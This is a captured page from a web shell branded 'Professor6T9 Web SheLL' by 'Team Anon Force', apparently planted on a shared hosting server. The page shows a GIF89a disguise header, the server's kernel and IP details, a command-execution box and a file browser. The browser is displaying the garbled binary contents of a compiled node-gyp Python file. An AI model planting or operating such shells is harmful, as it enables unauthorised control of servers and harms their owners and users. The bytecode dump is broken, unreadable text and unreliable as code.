GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux premium22.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
LiteSpeed
68.65.122.106
/
opt
/
alt
/
alt-nodejs22
/
root
/
lib
/
node_modules
/
npm
/
node_modules
/
node-gyp
/
gyp
/
pylib
/
gyp
/
__pycache__
[ HOME ]
Exec
Submit
File Name : MSVSVersion.cpython-38.pyc
U �=�h M � @ s� d Z ddlZddlZddlZddlZddlZddlZdd� ZG dd� d�Zdd� Z dd d �Z dd� Zd d� Zddd�Z dd� Zdd� Zddd�ZdS )z3Handle version information related to Visual Stuio.� Nc G s t j�t jj| � �S �N��os�path�normpath�join)�args� r �n/opt/alt/alt-nodejs22/root/usr/lib/node_modules/npm/node_modules.bundled/node-gyp/gyp/pylib/gyp/MSVSVersion.py�JoinPath s r c @ sz e Zd ZdZddd�Zdd� Zdd� Zd d � Zdd� Zd d� Z dd� Z dd� Zdd� Zdd� Z dd� Zdd� Zdd� ZdS )�VisualStudioVersionz1Information regarding a version of Visual Studio.Nc C sZ || _ || _|| _|| _|| _|| _|| _|| _| | _| p<g } | j dd� dd� | | _ d S )Nc S s t | �dd��S )N�v� )�float�replace)r r r r �<lambda>- � z.VisualStudioVersion.__init__.<locals>.<lambda>T)�key�reverse)� short_name�description�solution_version�project_version�flat_sln�uses_vcxprojr � sdk_based�default_toolset�sort�compatible_sdks)�selfr r r r r r r r r r r r r �__init__ s zVisualStudioVersion.__init__c C s | j S r )r �r r r r � ShortName0 s zVisualStudioVersion.ShortNamec C s | j S )z(Get the full description of the version.)r r! r r r �Description3 s zVisualStudioVersion.Descriptionc C s | j S )z(Get the version number of the sln files.)r r! r r r �SolutionVersion7 s z#VisualStudioVersion.SolutionVersionc C s | j S )z6Get the version number of the vcproj or vcxproj files.)r r! r r r �ProjectVersion; s z"VisualStudioVersion.ProjectVersionc C s | j S r )r r! r r r �FlatSolution? s z VisualStudioVersion.FlatSolutionc C s | j S )z1Returns true if this version uses a vcxproj file.�r r! r r r �UsesVcxprojB s zVisualStudioVersion.UsesVcxprojc C s | j r dpdS )z+Returns the file extension for the project.z.vcxprojz.vcprojr'